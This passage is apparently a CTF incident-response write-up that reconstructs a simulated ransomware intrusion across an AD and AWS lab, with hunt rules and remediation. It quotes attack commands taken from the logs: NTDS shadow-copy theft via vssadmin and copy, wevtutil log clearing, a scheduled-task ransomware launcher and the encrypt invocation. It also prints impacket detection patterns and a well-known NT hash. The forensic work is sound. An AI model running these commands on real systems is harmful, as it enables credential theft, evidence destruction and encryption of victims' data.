persist in consoles long after tabletop exercises end and SOCs train themselves to ignore sev-9 findings on the heuristic that "sev-9s are always samples." Mitigation: dedicated test account / -test- naming convention / separate detector-id so samples are single-CLI removable. DD20 is a registry + browser corroboration pass — no new TTPs, but three pieces of complementary evidence that strengthen the evidence base and close an open hypothesis: (a) the SVR01 RecentDocs\.txt MRU mirrors the Notepad reconnaissance trail exactly (MRUListEx order 03 02 01 00 = list.txt newest → Project Frog.txt oldest — the Explorer-kernel view of the attacker's text-file recon, visible to a player working only from the hive); (b) three Win+R moments fall out of RunMRU / TypedPaths lastwrite metadata at 21:08:21 (7 s before LogDel fire #1), 22:13:48 (5 min after fan-out, second LogDel), and 22:31:23 (still operating mid-cascade); (c) the Lsa key lastwrite commits at 20:13:26.34841 ms after the Sysmon reg add spawn, proving filesystem-level commit of DisableRestrictedAdmin=0, with only that single value touched (NoLmHash, DisableDomainCreds, RestrictAnonymous all baseline = narrow-scope attacker discipline). DD20 also closes a hypothesis with a definitive negative: 782 attack-day browser cookies on SVR01 are all analytics / tracking (Bing, Google, Future PLC) — zero cookies for pastebin, GitHub, transfer.sh, or anonfiles — so the attacker did not use the victim's browser; every tool arrived via SMB / RDP clipboard / ADMIN$. DD21 mines the 704-row Volatility corpus for two deep memory findings. (a) A windows.hashdump against the 22:46:45 SVR01 memory image recovers both attacker-usable local accountsAdministrator (RID 500) and localuser (RID 1000) — sharing the same NT hash 8846f7eaee8fb117ad06bdd830b7586c, which is the published NT hash of the plaintext string password (independently verified: md4(utf16_le("password")) = 8846f7ea…). The attacker's LSASS dump at 20:03:30 (DD11.1) captured both — PtH-usable across every host in the estate that shares the local-admin password. This extends the DD16 residual-risk stockpile from "3 AWS AKIA keys" to "3 AWS AKIA keys plus the local-Administrator NT hash" — post-incident rebuild must rotate the local-admin password on every host and hunt any future 4624 NTLM authenticating with that hash. (b) A complete malfind sweep across all 5 flagged PIDs (9 VAD dumps total) confirms only PID 1332 (Explorer) is the true C2 beacon: PID 1256 (PowerShell, PPID=1332 → corroborates the 20:03:05 DA-elevation command chain) shows 3 malfind hits that are all benign .NET CLR JIT / GC; PID 3176 / 6560 (Firefox) are SpiderMonkey JIT false positives; PID 6664 (SearchApp) is Cortana UWP heap. DD21 includes a byte-verified malfind triage checklist for next time (first 2 bytes 4D 5A = PE hit · address range 0x7df00000000+ = .NET CLR heap · parent-process heuristic · strings for C2 indicators vs random JIT · x64 prologue disassembly). DD22 closes the loop on the DD21 SAM hashdump with a corpus-wide usage audit: the NT hash 8846f7ea… (plaintext password, shared by local Administrator and localuser) returns zero NTLM-authentication hits anywhere in the capture window. The attacker harvested it via the LSASS dump at 20:03:30 but never used it — identical pattern to DD16 (three AKIA keys stockpiled but unused). The attacker's active credential for every lateral movement was LAFAdmin exclusively; the local-admin hash is strategic stockpile, not part of the observed kill chain, but stays valid until rotated. DD23 is the fifth major correction: mining the 115-row IIS access-log pushes initial-access back 58 minutes — from the v2 claim of ~19:17+ (first Sysmon EID 1) to the IIS-log ground truth at 18:38:29 (baseline GET /), then through a six-minute fuzzing chain (endpoint discovery → ?url=google.com | whoami first injection test → && metacharacter success at 18:41:13type web.config disclosure at 18:43:43dir C:\TFTP Server\ at 18:45:12), to the webshell drop at 18:51:42. The attacker's external operator IP is pinned: 172.236.127.251 (Linode, AS63949). DD23 also surfaces a pre-attack hit against the same endpoint at 13:39:16 from 216.82.9.162 (the normal IP for the AWS account, Root+MFA admin) referencing the same tool-server 173.230.136.180 — which proves the attacker infrastructure is scenario-provisioned (not externally owned) but does not establish that the 18:38 operator and the 13:39 admin are the same person (equally consistent with challenge authoring, infrastructure QA, or scenario hand-off). DD24 closes the binary-family attribution with a four-row hash table: three separately compiled on-disk binaries (iis.exe SHA256 EFB53903… IMPHASH C86A15AD… = HTTP beacon → 173.230.136.180:8443; rnSylwOz.exe SHA256 91813A2A… IMPHASH 37E28CA3… = second-stage, injects Explorer PID 1332; IamBatman.exe SHA256 B9550186… IMPHASH 6C45208F… = ransomware encryptor) plus one in-memory form (Unknown C2 VAD dump SHA256 6ef6b52f…, reflective-loaded, no IMPHASH — expected byte-divergence from rnSylwOz.exe because reflective loaders rebase / merge / resolve imports at load time; the C2-specific strings \\.\pipe\%08lx, _Z11GetVersionsv, file.dll in the dump confirm logical family membership). All four hashes are distinct — the attacker did not rename a single binary three ways; each is its own compilation. And DD24 consolidates the Linode C2 attribution: 173.230.136.180 serves both roles — tool-drop on port 80 (/so.aspx, /iis.exe, /agent.exe) and Unknown C2 Framework listener on port 8443. DD25 pulls MFT / USN FileCreate (EID 2100) timestamps for every attacker artifact and builds a drop-to-execution latency table that splits cleanly into two operator-behaviour categories. Immediate-use tools (≤30 s drop-to-exec): iis.exe (10 s), rnSylwOz.exe (22 s), LogDel.bat (18 s) — fire as soon as they land. Pre-staged weapons (minutes → hours): so.aspx waited 17 min before first POST, data.cab was built over 6 min of makecab iteration, and IamBatman.exe + sysAV.bat sat on DC02 SYSVOL for 54 – 64 minutes before the first detonation attempt. The staging-host choice is deliberate: SYSVOL is readable by every domain-joined host, UNC-path invocable from anywhere, writable only by Domain Admins, and auto-replicated cross-DC via DFSR — making it the single best distribution surface in an AD estate. The timing is even more telling: SYSVOL staging at 21:03:54 is exactly one hour after the serviceaccount DA promotion at 20:03:05 — the attacker didn't race to weaponise; they spent that hour on the LSASS dump, NTDS theft (DC01 smbexec chain), and data.cab assembly, then staged the ransomware as the last pre-cloud step. Five operator-preparation tells fall out of this analysis: (1) ransomware armed before cloud operations began (21:04 < 21:25 – 21:58); (2) single IamBatman build, no version iteration; (3) IamBatman.exe and sysAV.bat dropped 11 seconds apart = single upload-script orchestration, not manual; (4) data.cab (20:25) landed before sysAV.bat (21:04) = exfil-before-ransom discipline (classic double-extortion pattern even with one operator); (5) no $STANDARD_INFORMATION vs $FILE_NAME mismatch on the IamBatman MFT entry — no timestomping, the operator treated forensics as "happens later" not "happens in-window." The report closes with two cross-cutting addenda: VT (VirusTotal enrichment of every hash and IP) and OQ (seven open questions this corpus cannot close on its own).

A. GuardDuty was watching — but alert fatigue by baseline contamination masked the fires (DD18 + DD19 corrected)

⟲ WALKED BACK by DD18 + DD19: the original "GuardDuty was not watching" reading below was wrong on the headline claim but right on the noise floor. DD18.2 shows GuardDuty fired three real attack-day findings — Sev 8 InstanceCredentialExfiltration.OutsideAWS at 21:57:18 and re-triggered at 22:01:10, then Sev 9 AttackSequence:IAM/CompromisedCredentials at 22:14:44. Detection worked; the 11-minute response window 21:57:18 → 22:08:40 elapsed unacted. DD19 refines the noise-floor count — 383 synthetic samples (not 299) plus 15 Feb-23 RootCredentialUsage sev-2 lab-setup bursts, giving a signal-to-noise ratio of 3/401 = 0.75%. The 383 samples are aws guardduty create-sample-findings output (markers i-99999999, GeneratedFindingPath, Linux-only detectors in an all-Windows lab) — the CTF author pre-seeded them on 2026-02-23 for realistic "noisy SOC" background. The three attack fires are extractable with a three-filter pass (exclude sample markers · exclude RootCredentialUsage sev≤2 · filter sev≥8) but only if the SOC knows to apply those filters.

Original reading (partially superseded, kept for transparency): the guardduty.zip in the triage bundle contains 401 findings, but 299 reference i-99999999 and 367 reference GeneratedFinding* placeholders. Every record is GuardDuty CreateSampleFindings template output, not a real alert on this environment. DD18 corrects this: three attack-day records are real fires. DD19 corrects the noise-count: 383 sample findings, not 299 (some sample findings reference i-99999999 indirectly via related-entity fields).

Detection-gap conclusion (revised DD18/DD19): GuardDuty did trigger on this attack — the three alerts below fired on time. What failed was the response (no SOAR auto-revoke) and the signal-to-noise pipeline (0.75% real-to-total ratio, with the 383 samples and 15 lab-setup alerts swamping the console). Had the defender applied a baseline-aware triage filter, they would have seen:

  • UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS — iam_role_iisserver credentials used from 212.8.249.213 (off-instance)
  • CredentialAccess:IAMUser/AnomalousBehavior.CreateAccessKey — programmatic iam:CreateAccessKey for jb_aws_cli
  • PenTest:IAMUser/KaliLinux or generic anomalous UA — the operator's aws-cli/2.34.4 … os/windows#11 … md/command#iam.create-access-key user-agent is highly non-normal for a production IIS instance-role

GuardDuty had no real-world visibility in this environment — the guardduty.zip is a CTF-completeness artifact, not a defender signal source.

B. The cloud persistence attempt — only the first try hit quota; three later tries SUCCEEDED (walked back by DD7)

⟲ WALKED BACK by DD7 / DD16: the original "quota saved the environment" reading below was materially wrong. The LimitExceededException blocked only the first attempt against jb_aws_cli at 21:45:38. The attacker pivoted 13 seconds later and succeeded on three other users: CreateAccessKey donnieworks @ 21:45:51AKIA[REDACTED-FOR-PUBLICATION], doctorderm @ 21:46:04AKIA[REDACTED-FOR-PUBLICATION], coolcat @ 21:46:14AKIA[REDACTED-FOR-PUBLICATION]. All three are long-term AKIA keys with no TTL. DD16 confirms none of them were used in the capture window (22:15:27Z corpus cutoff) — they are dormant stockpile persistence. This is the highest-impact residual artifact of the entire incident; AD damage is recoverable, live AWS keys in adversary hands are not self-healing. Remediation: immediately audit and revoke the three AccessKeyIds, then rotate every active key for donnieworks / doctorderm / coolcat.

Original reading (preserved for transparency; walked back above):

Cloud-persistence failure at 21:45:38Z is not an AccessDenied policy block — CloudTrail records it as CreateAccessKey failing with errorCode: "LimitExceededException", message "Cannot exceed quota for AccessKeysPerUser: 2".

{
  "eventTime": "2026-03-08T21:45:38Z",
  "eventSource": "iam.amazonaws.com",
  "eventName": "CreateAccessKey",
  "sourceIPAddress": "212.8.249.213",
  "userAgent": "aws-cli/2.34.4 md/awscrt#0.31.2 ua/2.1 os/windows#11 md/arch#amd64 ...
                md/command#iam.create-access-key",
  "requestParameters": { "userName": "jb_aws_cli" },
  "errorCode": "LimitExceededException",
  "errorMessage": "Cannot exceed quota for AccessKeysPerUser: 2"
}
// → next 25 s: three more CreateAccessKey calls, all SUCCESS (see DD7)

Security implication (revised): iam_role_iisserver had iam:CreateAccessKey on arbitrary IAM users and the attacker exploited it successfully. The quota blocked one of four attempts, not the attacker's ability to persist. Remediation: scope the role to iam:* on arn:aws:iam::<acct>:role/iam_role_iisserver only (or strip IAM entirely — no good reason a webserver role needs CreateAccessKey); rotate / revoke the three stockpiled keys from DD16 before doing anything else.

C. Impacket secretsdump --use-vss · verbatim 5-service signature

Every stage uses the same ImagePath template — the "echo to execute.bat → run execute.bat" pattern is the impacket fingerprint. Service names are impacket's random 8-char ascii_letters+digits. All five fire on DC01 inside a 20-second window.

UTCServiceStageInner vssadmin / cmd
20:08:44.847UnmfmnOL1 · enum-beforevssadmin list shadows /for=C:
20:08:53.894QsYyAARL2 · create shadowvssadmin create shadow /For=C:
20:08:55.863XCCVTGUb3 · enum-with-GUIDvssadmin list shadows /for=C:
20:09:03.519SOUwKZNf4 · copy NTDScmd /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit %SYSTEMROOT%\Temp\ZIFylmKF.tmp
20:09:04.738PovLjNTr5 · delete shadowvssadmin delete shadows /shadow="{af18f363-a0d3-41f2-981b-6feb95339269}" /Quiet

Hunt query: Security EID 7045 WHERE ImagePath MATCHES %COMSPEC% /Q /c echo %COMSPEC% /C .* ^> %SYSTEMROOT%\\Temp\\__output ^> %TEMP%\\execute.bat ^& %COMSPEC% /Q /c %TEMP%\\execute.bat will catch every impacket secretsdump/psexec/smbexec/atexec install — regardless of the 8-char service name.

D. DisableRestrictedAdmin = 0 propagated across the estate (4 hosts, two techniques)

The registry flip that enables RDP Pass-the-Hash was pushed across 4 hosts — and the process behind it reveals two different operator tradecraft modes:

UTCHostProcessUserMode
20:13:26.348SVR01reg.exe (PID 4892)LAFAdminhands-on-keyboard direct flip
20:34:49.918WS01svchost.exe (RemoteRegistry)NT AUTHORITY\LOCAL SERVICEremote-registry (nxc/impacket reg.py)
20:45:01.497DC02svchost.exe (RemoteRegistry)NT AUTHORITY\LOCAL SERVICEremote-registry
21:57:07.723WS02svchost.exe (RemoteRegistry)NT AUTHORITY\LOCAL SERVICEremote-registry (11 min before detonation)

SVR01 was the interactive beachhead — the operator typed reg add locally. WS01/DC02/WS02 were flipped remotely (NT AUTHORITY\LOCAL SERVICE is RemoteRegistry service impersonating the authenticated attacker over RPC) via impacket or nxc. Hunt signal: watch for HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin set by LOCAL SERVICE (remote) — there is never a legitimate reason for RemoteRegistry to write that key.

E. Reverse-engineering the Explorer.EXE-injected DLL (VAD 0xa60000-0xa8efff)

FieldValueInterpretation
SHA2566ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228cVolatile-Verdicts 8 answer
MD5f0243a31d5b7f91b4a3f1654d10f1f32
Machine0x8664 (x64)PE32+
Compile timestamp2026-03-08 20:00:25 UTCfreshly built for this campaign — 22 min after initial foothold, 1h 2m before injection into SVR01 Explorer
ImageBase0x3740e0000high-entropy ASLR-compatible base
SizeOfImage0x2f000 (188 KB)small — consistent with a loader stub, not a full implant
Exportsfile.dll!_Z11GetVersionsv (C++ GetVersions(), Itanium ABI)decoy export; file.dll is a generic module name
Imports (KERNEL32)VirtualProtect, VirtualQuery, Sleep, TlsGetValue, 5× *CriticalSection*, GetLastErrorstager/loader primitives only — no CreateProcess, CreateFile, socket, or CreateRemoteThread
Imports (msvcrt)_initterm, _amsg_exit, abort, calloc/realloc/free, strlen, strncmp, vfprintfMinGW-w64 CRT runtime stubs
Embedded strings\\.\pipe\%08lx, Mingw-w64 runtime failureSMB-pipe pivot pattern (8-hex-char random pipe name)
Sections (11).text .data .rdata .pdata .xdata .bss .edata .idata .CRT .tls .relocstandard MinGW layout

Tradecraft read: the minimal import surface (no networking, no process APIs, no FS) combined with VirtualProtect/VirtualQuery import is the signature of a reflective-loader stub. The real capability lives in code the loader resolves at runtime via hashed API names or direct syscalls — a technique shared by Unknown C2, Sliver, Havoc, modern Cobalt Strike shellcode, and Metasploit's ReflectiveLoader. The compile timestamp (20:00:25 UTC, same day) combined with the fresh 8-char-hex service name randomness argues strongly for an operator-built-for-this-campaign OSS C2, not an off-the-shelf Cobalt Strike default artifact.

F. Alternate (on-prem) exfil path — FileZilla SFTP to the Linode VPS

Cloud S3 was the primary exfil path (164 GetObjects from role iam_role_iisserver), but an independent on-prem SFTP exfil also ran on SVR01 — flagged by the challenge author as "not the intended solution" but a valid independent egress channel that a blue team should recognize:

UTCProcessUserDestinationEvidence
20:27:48fzsftp.exe PID 8480 (parent: filezilla.exe)LAFAdmin172.236.127.251:22 (172-236-127-251.ip.linodeusercontent.com)Sysmon EID 3 SSH session initiated
20:27:58FZSFTP.EXE-C075F203.pfPrefetch created first time — fzsftp had never been executed on this box before
20:30:26fzsftp.exe PID 10492 (second session)LAFAdminsame Linode VPS :22second SFTP connection
20:31:17data.cab RENAME_OLD_NAME (USN 2110)file disappearing from source location — shipped

Key finding: the destination is 172.236.127.251 — the same Linode VPS the initial iis.exe binary was pulled from at 18:52 via certutil. Same attacker infrastructure, different port (TCP 22 SFTP vs TCP 80 HTTP delivery). This corroborates single-threat-actor attribution across the kill chain.

G. Ransomware trigger task OlgyLYbd — full detonation chain

Ransomware launch was driven by a scheduled task. The task-registration-to-encryption chain runs in under a second:

  1. 22:09:15.952 — Task file created at C:\Windows\System32\Tasks\OlgyLYbd on WS01 by svchost.exe (PID 1584) as SYSTEM; Sysmon EID 11 tagged RuleName: T1053.
  2. 22:09:15.960 — TaskScheduler Operational EID 106 "Task registered" · UserContext=LAF\LAFAdmin (who owns the task) · TaskName \OlgyLYbd.
  3. 22:09:16.336 — EID 325 "Task queued" · InstanceId DEB9ED35-7B6D-43CB-AEB6-018CF53253CA.
  4. 22:09:16.337 — EID 110 "Task started" · UserContext=System (task ran elevated).
  5. 22:09:16.343cmd.exe PID 28168 launched: cmd.exe /C cmd /c \\laf-dc02\sysvol\sysAV.bat > C:\Windows\Temp\OlgyLYbd.tmp 2>&1. ParentProcess = svchost.exe -k netsvcs -p -s Schedule.
  6. 22:08:40.416 (WS02) — \\LAF-DC02\sysvol\IamBatman.exe encrypt C:\ fires as SYSTEM (PID 8428).
  7. 22:08:58.253 — First encrypted file on WS02: C:\Windows\System32\drivers\gmreadme.txt.bWqQUx. Even the ransom note itself gets encrypted: README_bWqQUx.txt created 22:08:58.254, then encrypted to README_bWqQUx.txt.bWqQUx 11 ms later.

Pre-staging clue: at 22:07:07 and 22:08:10, LAFAdmin opened sysAV.bat in notepad.exe on DC02 — the operator reviewed/edited the launcher script 2.5 minutes before detonation. That's operator-on-keyboard signal; auto-execution malware doesn't need notepad.

H. Evidence eradication — LogDel.bat wiped 6 channels in 230 ms (missed Sysmon)

At 21:08:28 on SVR01, LAFAdmin ran cmd.exe /c "C:\ProgramData\LogDel.bat" (parent powershell.exe). The batch fired six wevtutil cl invocations inside 230 milliseconds — and made one important mistake:

UTCChannel clearedCleared by
21:08:28.332Systemwevtutil PID 9824
21:08:28.362Securitywevtutil PID 15304
21:08:28.407Applicationwevtutil PID 9000
21:08:28.426Windows PowerShellwevtutil PID 11192
21:08:28.480Microsoft-Windows-PowerShell/Operationalwevtutil PID 15204
21:08:28.543Microsoft-Windows-TaskScheduler/Operationalwevtutil PID 13460

The channel the attacker forgot: Microsoft-Windows-Sysmon/Operational. That omission left every subsequent Sysmon event (EID 1 process-creation, EID 10 process-access, EID 11 file-create, EID 13 registry-set) fully intact — which is how we reconstruct the rest of the kill chain on SVR01 after 21:08:28. Operator tradecraft note: a LogDel.bat that only knows about default Windows channels loses against any estate that added Sysmon after 2013.

I. Attacker infrastructure — IP → ASN/ORG enrichment

Four unique external IPs appear in this kill chain. WHOIS / reverse-DNS attribution:

IPrDNSASN / OrgRole in this attack
172.236.127.251172-236-127-251.ip.linodeusercontent.comAS63949 · Linode (US)tooling VPS · so.aspx + iis.exe HTTP delivery · SFTP exfil endpoint (port 22)
173.230.136.180173-230-136-180.ip.linodeusercontent.comAS63949 · Linode (US)C2 listener · HTTPS :8443 (confirmed via SVR01 memory netscan for PID 9112)
212.8.249.213212-8-249-213.hosted-by-worldstream.netAS49981 · WorldStream B.V. (NL)cloud egress · all 164 S3 GetObject calls routed from this IP; CloudTrail sourceIPAddress
198.51.100.10 + .3NXDOMAIN (RFC 5737 documentation range)— (documentation/TEST-NET-2)attacker inside the WireGuard VPN per engagement scope; operator's RDP-origin IPs across the kill chain

Two Linode IPs, separated roles: the attacker split .251 (delivery/exfil) from .180 (C2) — standard operator discipline to avoid single-IP burn. Both on the same ASN (Linode/Akamai) with sequential-ish allocations. The cloud egress from WorldStream (NL) is different — that's the attacker's own workstation/proxy hitting AWS directly, not routed through Linode.

J. DPAPI masterkey theft trail — EID 12289/8200 timeline

The operator's DonPAPI usage shows up as Microsoft-Windows-Crypto-DPAPI provider events. Key events during attack window:

UTCHostEIDUser/SidData
20:14:07.862SVR0112289LAF-SVR01$ / S-1-5-96-0-5CredKeyIdentifier FD05B8485AA3…1A1FF (machine credkey accessed right as LAFAdmin RDP session opens — Subpoena-4 pivot)
20:14:08.199SVR0112289LAF-SVR01$ (domain) / S-1-5-21-…-1112Domain machine credkey accessed — sign of DonPAPI walking backup keys
20:20:24.519SVR012100DonPAPI SQLite shadow-copy: Login Data For Account + Login Data + both -journal files CREATED → DATA_EXTEND → DATA_OVERWRITE inside 55 ms. Exact pattern of DonPAPI's sqlite3_backup read-while-locked technique.
20:35:28.783WS0112289LAF-WS01$ / S-1-5-96-0-6DonPAPI re-runs on WS01 as soon as RDP lands there (20:35:29 RDP connect → DPAPI sweep within 1 sec)
20:36:01.348WS018200MasterKey backup: GUID 643BA668-B20E-40DF-92A5-DC1FAB3C5002 · EncryptCredKey 597D4D56E29E8D794F1BF457E6FC9544F03405AD

Hunt rule: EID 8200 (MasterKey backup) is a rare Crypto-DPAPI event in a production environment — it normally fires only when a user changes password and the MasterKey gets migrated. Two EID 8200 events within 90 seconds of a new RDP logon, especially with an empty EncryptCredID (00000000-0000-…), is a strong DonPAPI / backup-key-theft indicator. Correct provider is Microsoft-Windows-Crypto-DPAPI Security-channel events, not Sysmon EID 9.

L. Smoking-gun: Sysmon EID 8 CreateRemoteThread — SMB beacon injected Explorer at 20:01:16.676Z

The LSASS-dump attribution (Addendum corrections + inline 2822 note) is now mathematically proven by a single Sysmon record — the same thread ID does both the injection and the dump:

// SVR01 · Microsoft-Windows-Sysmon/Operational · EID 8 · 2026-03-08T20:01:16.676Z
{
  "UtcTime": "2026-03-08 20:01:16.675",
  "SourceProcessGuid": "27E06484-D504-69AD-7BE5-000000000800",
  "SourceProcessId":   9112,
  "SourceImage":       "\\\\10.3.10.12\\ADMIN$\\rnSylwOz.exe",   // SMB pivot beacon
  "SourceUser":        "NT AUTHORITY\\SYSTEM",
  "TargetProcessGuid": "27E06484-5AEB-69AA-9A4B-000000000800",
  "TargetProcessId":   1332,
  "TargetImage":       "C:\\Windows\\explorer.exe",
  "TargetUser":        "LAF\\LAFAdmin",
  "NewThreadId":       10020,                                       // ← keep this number
  "StartAddress":      "0x0000000000A40000",                        // inside injected VAD
  "StartModule":       "-",   // ← unresolved = not in any loaded image
  "StartFunction":     "-"    // ← unresolved = not a known export
}

Then, 2 minutes 14 seconds later, Sysmon EID 10 on the same host records the LSASS open:

// SVR01 · EID 10 · 2026-03-08T20:03:30.861Z · GrantedAccess 0x1010
{
  "SourceProcessId":   1332,                    // Explorer
  "SourceImage":       "C:\\Windows\\Explorer.EXE",
  "SourceThreadId":    10020,                   // ← IDENTICAL NewThreadId
  "TargetImage":       "C:\\Windows\\system32\\lsass.exe",
  "CallTrace":         "ntdll.dll+a0e44 | UNKNOWN(00007DF4BAAF2622)"
}

What this proves, concretely:

  • The thread doing the LSASS open was not spawned by Explorer itself. It was created from outside, by PID 9112 (the SMB beacon).
  • The thread's start address 0xA40000 is inside the private-committed VAD range (0xA60000–0xA8EFFF) flagged as injected by Vol3 malfind.
  • Both StartModule and StartFunction are "-" — the RIP target is in memory that isn't backed by any loaded PE image. That is the definitional signature of floating/injected code.
  • The same ThreadId 10020 then opens LSASS with 0x1010 (the MiniDumpWriteDump access pair) — one continuous thread identity from injection to dump.

Attribution chain, with evidence links:
iis.exe (IIS webshell drop, 18:52:20) → replaced C:\TFTP Server\SolarWinds.exe at 19:16:52 → executed as SYSTEM at 19:38:02 on Donny's reboot → dropped rnSylwOz.exe on SVR01 via ADMIN$ at 19:58:38 → SCM launched rnSylwOz.exe (PID 9112) as SYSTEM at 19:59:00 → CreateRemoteThread into Explorer PID 1332 at 20:01:16 → same thread dumped LSASS at 20:03:30. Every step is a discrete EVTX record, every step names the process that did it.

M. Full RDP session map — legitimate vs attacker vs IR

Every Type-10 logon during the attack window. Separating legitimate admin, attacker pivots, and post-impact incident response:

UTCTarget HostSource IPUserInterpretation
19:41:56IIS71.205.100.56donnyLegit admin RDP right after Donny's reboot (see corrections note on 19:37:35 reboot trigger). Pre-attack context; Donny's home IP via WireGuard VPN.
20:35:29WS01198.51.100.10LAFAdminAttacker pivot 1 (MSTSC Maze 3 answer). First RDP hop after PtH via DisableRestrictedAdmin=0.
20:45:40DC02198.51.100.10LAFAdminAttacker pivot 2. Session closed 300ms later (EID 4634) — scripted/automated.
21:57:13WS0210.3.10.12 (SVR01)LAFAdminAttacker pivot 3. Internal source = SVR01 → WS02 (last pivot before ransomware prep).
22:06:38DC0210.3.10.12 (SVR01)LAFAdminAttacker pivot 4. Internal; this is the session where notepad edited sysAV.bat (22:07:07, 22:08:10).
22:09:46RANSOMWARE DETONATION — IamBatman.exe fires (cid "Big oof 3": 22:08:40 first encrypt on WS02)
22:12:41SVR01198.51.100.3localuserIncident-response RDP 1 — defender login (localuser is out-of-scope per engagement prompt).
22:15:40–22:46:09DC02, WS01, WS02, SVR01 (x5 sessions)198.51.100.3localuserIR sweep — defender jumping host-to-host investigating the detonation.

Attacker IP-mode shift: RDP pivots 1–2 used external source 198.51.100.10 (attacker's WireGuard endpoint). Pivots 3–4 shifted to internal source 10.3.10.12 (SVR01) — the attacker was proxy-chaining RDP through the SVR01 beacon, which is why the later sessions look internal even though the hands-on-keyboard operator was still at 198.51.100.10.

N. Kerberos ticket chain — 4768/4769 map of the domain pivots

The domain controllers' Security logs preserve every TGT and TGS request. Walking them reveals the operator's exact Kerberos flow:

UTCDCEIDTGT/TGS forSource IPChain step
19:33:20DC024768IIS-SERV-PROD$198.51.100.10first machine-TGT for IIS from attacker IP — beacon using IIS machine account for domain context
19:37:56→38:02DC024768 ×3IIS-SERV-PROD$198.51.100.10TGT renewal burst — synchronous with Donny's reboot + SolarWinds service relaunch at 19:38:02
19:56:39DC014768LAFAdmin10.3.10.12 (SVR01)first LAFAdmin TGT request from SVR01 — credentials popped from LSASS/DPAPI are now in Kerberos context
19:58:27DC014769LAF-DC02$ (service)10.3.10.12TGS to DC02 — pre-staging for DisableRestrictedAdmin flip 47 min later at 20:45:01
20:02:14DC014769 ×2LAF-DC01$, krbtgt10.3.10.12TGS for DC01 (self) + krbtgt — tickets for the 5-stage secretsdump 6m 30s later
20:35:59DC024768LAF-WS01$10.3.10.13WS01 machine TGT — fires just after attacker RDPs into WS01 (20:35:29)

Detection lens: the 19:33:20 IIS-SERV-PROD$ TGT from 198.51.100.10 is the earliest Kerberos-visible attacker signal — 2h 22m before ransomware detonation. Any 4768 for a machine account from a WAN/VPN source is anomalous; enterprise hosts normally authenticate to the DC from their own subnet. This alone would have MTTD-collapsed this attack had it been ingested.

O. SMB share operations — impacket's read/write/delete cadence on DC01 ADMIN$

Security EID 5140 (share access) + 5145 (detailed file access on share) preserve LAFAdmin's every interaction with DC01\ADMIN$ from 198.51.100.10 during the secretsdump window:

// DC01 · Security · LAFAdmin @ 198.51.100.10 · SHARE ADMIN$
20:08:52.412  EID 5140  open ADMIN$
20:08:52.549  EID 5145  Temp\__output       AccessMask 0x00001  (READ_DATA)          ← stage 1 output read
20:08:53.319  EID 5140  open ADMIN$
20:08:53.456  EID 5145  Temp\__output       AccessMask 0x10080  (DELETE | READ_DAC)  ← cleanup
20:09:02.045  EID 5140  open ADMIN$
20:09:02.183  EID 5145  Temp\__output       AccessMask 0x00001  (READ_DATA)          ← stage 3 output
20:09:02.952  EID 5140  open ADMIN$
20:09:03.089  EID 5145  Temp\__output       AccessMask 0x10080  (DELETE | READ_DAC)  ← cleanup
20:09:05.923  EID 5140  open ADMIN$
20:09:06.089  EID 5145  Temp\__output       AccessMask 0x10080  (DELETE | READ_DAC)  ← cleanup of stage 5
20:09:06.583  EID 5140  open ADMIN$
20:09:06.721  EID 5145  Temp\ZIFylmKF.tmp   AccessMask 0x00001  (READ_DATA)          ← NTDS PICKUP — Subpoena-8

What this pattern reveals: every impacket service install is followed within ~140 ms by an SMB pull of \Temp\__output, then a DELETE. That read/delete cadence is more distinctive than the service names — it's the same for every invocation and impossible to randomize without breaking impacket. Hunt rule: EID 5145 on ADMIN$ with RelativeTargetName matching Temp\\__output at AccessMask 0x1 → 0x10080 within 200 ms is a durable impacket signature.

The very last read (20:09:06.721 of ZIFylmKF.tmp) is the Subpoena-8 cid "when did LAFAdmin access the staged NTDS copy" answer — the pickup event after the 5-stage service orchestration completed.

P. Prefetch survives log-clearing — definitive first-run timestamps

Windows Prefetch (C:\Windows\Prefetch\*.pf) records the first and subsequent execution of every EXE. Because prefetch files are on-disk and not cleared by wevtutil cl, they survive LogDel.bat. First-run evidence for attack tools:

HostFirst-run UTCPrefetch fileInterpretation
SVR012026-03-08 19:59:10.865RNSYLWOZ.EXE-E4BE7640.pfBeacon first-run on SVR01 — 10 seconds after the SMB drop (19:58:38) + service launch (19:59:00). This file alone proves the beacon executed, even if every EVTX channel on this host were wiped.
SVR012026-03-08 20:27:58.194FZSFTP.EXE-C075F203.pfFirst FileZilla SFTP run on this host — corroborates the alternate exfil path (Addendum F). fzsftp.exe had never executed on SVR01 before the attack window.
WS01/WS02/DC01/DC02/SVR012026-03-03 ~01:27-05:34WEVTUTIL.EXE-4CD23CAE.pf / -C09B744F.pfLudus lab-build wevtutil runs — pre-attack baseline, NOT attacker activity. Comparing this baseline to LogDel.bat's 21:08:28 run on SVR01 confirms the attacker's invocation was fresh (no pre-existing LAFAdmin-context prefetch with recent LastRun updates).
SVR012026-03-03 05:34:13.677NET1.EXE-B8A8247B.pf / NET.EXE-1DF3A2F6.pfLab-build net.exe prefetch. The LAFAdmin net user serviceaccount … at 20:02:14 on 2026-03-08 would have updated (not created) this prefetch — last-run timestamps inside the .pf file would show the later execution.

Forensic principle: even in environments where Sysmon is not deployed and Security/System logs are rotated aggressively, prefetch (if enabled — which is default on Windows client editions) will reveal binary execution for at least 128 MRU entries. For rnSylwOz.exe, the SHA-256-named prefetch hash (E4BE7640) is a stable second IOC that doesn't match any benign Windows binary.

Q. #JustaLawyer isn't an attacker artifact — it's legal-discovery evidence

The Subpoena-1 answer (#JustaLawyer) was indexed to source_type='browser_session' (Chrome SNSS) on WS02. Precise provenance:

// WS02 · Chrome SNSS Session_13417074383248741 · EID 5200
2026-03-04T05:06:23.248Z    string="#JustaLawyer"      browser=chrome profile=Default
2026-03-04T05:07:17.725Z    string="#JustaLawyer"      browser=chrome profile=Default

Four days before the attack (2026-03-04, attack was 2026-03-08), the legitimate user of WS02 — the "Donny" / "Dalton" persona who owned that laptop — typed #JustaLawyer into Chrome. The string lived in Chrome's Session blob on disk. The ransomware attack never touched this blob (Chrome profiles weren't an encryption target); the ransomware did exfiltrate data out of S3, but it did not exfiltrate this browser artifact.

